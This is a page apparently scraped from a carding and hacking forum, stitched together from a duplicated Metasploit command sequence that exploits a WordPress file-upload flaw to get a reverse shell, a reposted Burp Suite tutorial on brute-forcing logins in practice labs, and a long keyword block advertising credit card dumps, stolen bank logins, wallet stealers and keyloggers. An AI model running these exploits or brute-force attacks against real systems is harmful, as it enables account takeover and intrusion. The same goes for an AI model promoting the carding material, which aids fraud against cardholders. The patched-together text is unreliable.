msf > use exploit/unix/webapp/wp_nmediawebsite_file_upload
msf exploit(unix/webapp/wp_nmediawebsite_file_upload) > set rhost 192.168.1.143
msf exploit(unix/webapp/wp_nmediawebsite_file_upload) > run

1
2
3

msf > use exploit/unix/webapp/wp_nmediawebsite_file_upload
msf exploit(unix/webapp/wp_nmediawebsite_file_upload) > set rhost 192.168.1.143
msf exploit(unix/webapp/wp_nmediawebsite_file_upload) > run

As soon as we run this exploit we get the reverse shell.
[Image: 8.png?w=687&ssl=1]

In our

[To see content please register here]

article part1, we had discussed how to perform a brute force attack on any web application server for making unauthorized login into it using some Payload of Burpsuite. In part 2 articles you will learn more about brute force attack with help of remaining BurpSuite payloads that might be helpful in other situation.

Let’s Start!!
Character Substitution
This type of payload allows to configure a list of strings and apply various character substitutions to each item. This type of payload is useful in password guessing attacks and generating common variations on dictionary words.
The UI of this payload allows you to configure a number of character substitutions. For each item, it will generate a number of payloads, which include all permutations of substituted characters according to the defined substitutions.
For example, the default substitution rules states (which include e > 4 and r > 5), the item “Raj Chandel” will generate the following payloads:
raj chandel
5aj chandel
raj chand4l
5aj chand4l
First, we have intercepted the request of the login page in the DVWA LAB, where we have given a default username and wrong password. Then click on login, the burp suite will capture the request of the login page in the intercept tab.
[Image: 1.png?w=687&ssl=1]
Send the captured request to the Intruder by clicking on the Action Tab and follow given below step. Now open the Intruder tab then select Positions tab and you can observe the highlighted password and follow the given below step for selecting payload position.
  • Press on the Clear button given at right of the window frame.
  • Now we will select the fields where we want to attack and i.e. the password filed and click on Add button.
  • Choose the Attack type as
  • In the given below image, we have selected a password that means we will need one dictionary files for a password.
[Image: 2.png?w=687&ssl=1]
Now click on payloads option after selecting payload position. Here we can add a dictionary by clicking on Load option or we can manually add Strings by clicking on the Add option.
Now we have substituted 4>a, 5>s, 9>o as per our requirements to match the password and we have added the input as p445w9rd using the Add option which will substitute the character’s according to the Defined substitution as shown in the image.
Start Attack in the Intruder menu as shown in the image.
[Image: 3.png?w=687&ssl=1]
Sit back and relax because now the burp suite will do its work, match the password and will give you the correct password. The moment it will find the correct value, it will change the value of length as shown.
[Image: 4.png?w=687&ssl=1]
And to confirm the password matched, we will give the matched password in the DVWA LAB login page. We will see a message “Welcome to the password protected area admin” which shows our success in the character substitution payload attack.
[Image: 5.png?w=687&ssl=1]
Copy Other Payload
This is a type of payload which can copy the value of the current payload to another payload position. It is very useful for attack types that have multiple payload sets such as cluster bomb, pitchfork, and battering ram. This payload type can be useful in various situations, for example:
  • Suppose we are using two different parameters and we want to attack at two different fields, therefore we can set different “payload types” at multiple “payload sets” inside burpsuite payload configuration as per our attack type as it allows us to simply use the same dictionary for both payloads that we have set at particular position by giving the position of the payload we want to copy. It will execute the complete payload which is set at a specific position.
First, we have intercepted the request of the login page in the Bwapp LAB, where we have given wrong username and password. Then click on login, the burp suite will capture the request of the login page in the intercept tab.
[Image: 6.png?w=687&ssl=1]
Send the captured request to the Intruder by clicking on the Action Tab and follow given below step. Now open the Intruder tab then select Positions tab and you can observe the highlighted username and password and follow the given below step for selecting payload position.
  • Press on the Clear button given at right of the window frame.
  • Now we will select the fields where we want to attack which is the username and password and click on Add button.
  • Choose the Attack type as Cluster Bomb.
  • In the given below image, we have selected username and password that means we will need two dictionary files i.e. one for username and second for a password.
[Image: 7.png?w=687&ssl=1]
Now click on payloads option after selecting payload position, here we need to add a dictionary which will use for both payload set. Then select the Payload type as Simple list for Payload Set ‘1’ which will attack at the username field.
[Image: 8.png?w=687&ssl=1]
Now to attack at the password field we will select Payload type as Copy other payloads for Payload Set ‘2’ because we want to attack the same payload type at payload set 2 which will copy the dictionary given for payload set 1 to attack.
Select Start Attack in the Intruder menu as shown in the image.
[Image: 9.png?w=687&ssl=1]
Sit back and relax because now the burp suite will do its work, match the username and password which will give you the correct username and password. The moment it will find the correct value, it will change the value of length as shown in the image.
And to confirm the password matched, you can give the matched password in the BWAPP LAB login page.
[Image: 10.png?w=687&ssl=1]
Username Generator
This type of payload allows you to set up a list of names or email addresses and can produce usernames from given specific schemes.
For example, Let’s take a username “raj chandel” which can give results in up to 115 possible usernames, some combination is as follows :
rajchandel
raj.chandel
chandelraj
chandel.raj
chandel
raj
rajc
etc…
This type of payload is useful to target at a specific user, where you do not know the username or email address scheme of the user which is being used in a specific application.
First, we have intercepted the request of the login page in the Bwapp LAB, where we have given wrong username and password. Then click on login, the burp suite will capture the request of the login page in the intercept tab.
[Image: 12.png?w=687&ssl=1]
Send the captured request to the Intruder by clicking on the Action Tab and follow given below step. Now open the Intruder tab then select Positions tab and you can observe the highlighted username and password and follow the given below step for selecting payload position.
  • Press on the Clear button given at right of the window frame.
  • Now we will select the fields where we want to attack which is the username and password and click on Add button.
  • Choose the Attack type as Cluster Bomb.
  • In the given below image, we have selected username and password that means we will need two dictionary files i.e. one for username and second for the password.
[Image: 13.png?w=687&ssl=1]
Then select the Payload type as “Username Generator” for Payload Set ‘1’ which will attack at the username field, we have a given input string “raj chandel” by using the Add option as shown in the image, which will use different permutations on that input string given to match the correct username.
[Image: 14.png?w=687&ssl=1]
Now to attack at the password field we will select Payload type as Simple list for Payload Set ‘2’ for which we have added a dictionary manually created by us by using the Load option.
Select Start Attack in the Intruder menu as shown in the image.
[Image: 15.png?w=687&ssl=1]
Sit back and relax because now the burp suite will do its work, match the username and password which will give you the correct username and password. The moment it will find the correct value, it will change the value of length as shown in the image.
[Image: 16.png?w=687&ssl=1]
Dates
This type of payload generates date payloads within a given range and in a specified format. This type of payload is can be used in data mining or brute forcing.
For example, it can be used to guess a user’s birth date, wedding date, anniversary date etc which can be used to brute force the security questions for an application or web applications, or it can use to brute force the password of user’s, where the user uses dates as their password.
The following options are available in this type of payload:
  • From – This is said as the first date which will be generated.
  • To – This is said as the last date which will be generated.
  • Step – This is said as an increase between sequential dates, days, weeks, months or years. It should be a positive value.
  • Format – This is said as the format in which dates can be represented. we can select from different predefined date formats, or we can make our own custom date format as per our requirement. Some example of the date format is given below:
E
Mon
EEEE 
Monday
D
2
dd
02
M
9
MM
09
Repeat the same to intercept the request of the login page in the Bwapp LAB, where we have given wrong username and password. Then click on login, the burp suite will capture the request of the login page in the intercept tab.
[Image: 18.png?w=687&ssl=1]
Send the captured request to the Intruder by clicking on the Action Tab and follow given below step. Now open the Intruder tab then select Positions tab and you can observe the highlighted username and password and follow the given below step for selecting payload position.
  • Press on the Clear button given at right of the window frame.
  • Now we will select the fields where we want to attack which is the username and password and click on Add button.
  • Choose the Attack type as Cluster Bomb.
  • In the given below image, we have selected username and password that means we will need two dictionary files i.e. one for username and second for the password.
[Image: 19.png?w=687&ssl=1]
Then select the Payload type as Simple list for Payload Set ‘1’ which will attack at the username field where we have given a dictionary as an input string as shown in given below image.
[Image: 20.png?w=687&ssl=1]
Now to attack at the password field we will select Payload type as Dates for Payload Set ‘2’ because we are guessing the user might have its birth date or any other date as a password.
After this, we have set the inputs for Payload set ‘2’ in the fields given in the payload options such as FROM, TO, STEP and FORMAT as shown in the image.
Now Select Start Attack in the Intruder menu for brute force attack.
[Image: 21.png?w=687&ssl=1]
Sit back and relax because now the burp suite will do its work, match the username and password which will give you the correct username and password. The moment it will find the correct value, it will change the value of length as shown in the image.
[Image: 22.png?w=687&ssl=1]h


 


Blackhat Carding forum



Search keywords: the best carding forum, credit card dumps, free credit cards, carding forum, carders forum, wu transfer, western union transfer, hacked ccv, cc dumps, legit carders, altenen hackers, hacking tutorials, free porn acconts, paypal dumps, bank account login, alboraaq hackers, cheap apple items carded, market hackers, fraud market, perfectmoney stealer, platinum card, database dump, atn, how to card btc, free paypal logs, altenen, how to card bitcoins, bitcoin carding, btc carding, amex cc, havij carding tutorial, shop credit card, visa cc, cheap shipping, alboraaq, underground forum, botnet, hacking programs, bitshacking, truehackers, cc stealer, how to get credit cards, dumps, pin, logs, email logs, hacking tools, hacking programs,carding tools, ccv checker, ccv balance checker, carding tutorials, mg transfer, wu transf, bank transfer, card clone, WebMoney carding, card clone, the best hacking country, india hackers team, alboraaq , pakistan hackers, wu transfer to nigeria, wu bug, wu transfer, iPhone carding shipping, hacking and carding forum, carding stuff, porn accounts, x'xx passwords, WebMoney hacking, abh cc live, fresh smtp, hacking forum scam free smtp, wmz carding , spam paypal, caring, true carders, carding board, what is the best hacking forum, www.hackingforum.ru, www.carderscave.ru, www.darkgeo.com, www.darkgeo.su, www.darkgeo.ru, the best hacking forum, freedom to palestine, indian hackers team, spaming tools, ams fresh spaming, inbox spaming, fresh leads, proxy list, bitcoin wallet stealer, how to hack a bitcoin wallet, perfect money adder, hacking forum rip, carding board, western union transfer only for real hackers, carding 2020, carders 2020, carders forum 2020, carding forum 2020, hacking forum 2020, fraud market 2020, carding tutorials 2020, carding forum 2020, carders forum 2020, carding tutorials 2020, carders 2020, hackers forum 2020, hacking forum 2020, fraud market 2020, hacked wu 2020, carded iphone 2020, cardingf.com. Carding forum, Carders Forum, Hacking Forum, Hackers Forum, Cheap WU Transfer, CCV Dumps, Legit Carders 2020, ATN Team, Altenen, Hacking Tutorials, Free Premium Porn Accounts, Carding Tools 2020, Fraud Carding, Fraudsters Marketplace, Carding Forum Scam, Inbox Spamming, Free Mailer PHP, Free VPN 2020, Best VPN 2020, AlphaBay Market, Free Fresh Mail Leads, Real Hacker Forum, Alboraaq Review, Alboraaq Hackers, Perfect Money Stealer, Darknet Forums, Darknet Hackers, Darknet Carders, Cardable Websites 2020, Buy Credit Card Dumps, Western Union Generator, Money Gram Transfers Cheap, Free CVV, Free RDP, Cheap RDP, Amazon Carding 2020, NonVBV Cardable Websites, TOR VPN 2020, Russian Carding Forum, UK Carding Forums, Bitcoin Wallet Stealer, Bitcoin Carding, Bank Stealer, Hacked Bank Logins, Bank Logins, Free Keyloggers 2020, Best Keylogger Download, Free Receipt Generator, Card Bitcoins easy, Amazon method, Best Pakistan Carders, Dumps Section, Legit Carding, Unseen, Tutamail, Deepdotweb, CC Live, Free premium logs, iPhone 6s Carded, Cheap Electronics Carding, Black Marketplace, Cheap Bank Transfers, Carding Tools, Havij Hacking, India Hackers, Cheap Apple Carding 2020, PayPal Dumps Logs, Market Hackers, Fresh email logs, btc carding, amex cc, havij carding tutorial, shop credit card, visa cc, cheap shipping, alboraaq, underground forum, botnet, hacking programs, bitshacking, truehackers, cc stealer, how to get credit cards, dumps, pin, logs, email logs, hacking tools, hacking programs, carding tools, ccv checker, ccv balance checker, carding tutorials, mg transfer, wu transf, bank transfer, card clone, hacking stuff, card clone, the best hacking country, india hackers team, alboraaq scamming, pakistan hackers, wu transfer to nigeria, wu bug, wu transfer, iPhone carding shipping, hacking and carding forum, carding stuff, porn accounts, xxx passwords, xxx username and passwords, abh cc live, fresh smtp, hacking forum scam free smtp, ams spamming, spam paypal, caring, true carders, carding board, what is the best hacking forum, the best hacking forum, freedom to palestine, indian hackers team, spaming tools, ams fresh spaming, inbox spaming, the best carding forum, credit card dumps, free credit cards, carding forum, carders forum, wu transfer, western union transfer, hacked ccv, cc dumps, legit carders, altenen hackers, hacking tutorials, free porn acconts, paypal dumps, bank account login, alboraaq hackers, cheap apple items carded, market hackers, fraud market, perfectmoney stealer, platinum card, database dump, atn, how to card btc, free paypal logs, altenen, how to card bitcoins, bitcoin carding, fresh leads, proxy list, bitcoin wallet stealer, how to hack a bitcoin wallet, perfect money adder, hacking forum rip, carding board, western union transfer, carding 2020, carders 2020, carders forum 2020, carding forum 2020, hacking forum 2020, fraud market 2020, carding tutorials 2020, carding forum 2020, carders forum 2020, carding tutorials 2020, carders 2020, hackers forum 2020, hacking forum 2020, fraud market 2020, hacked wu 2020, carded iphone 2020, cardingf.com, altenen, altenen.com, alboraaq, alboraaq.com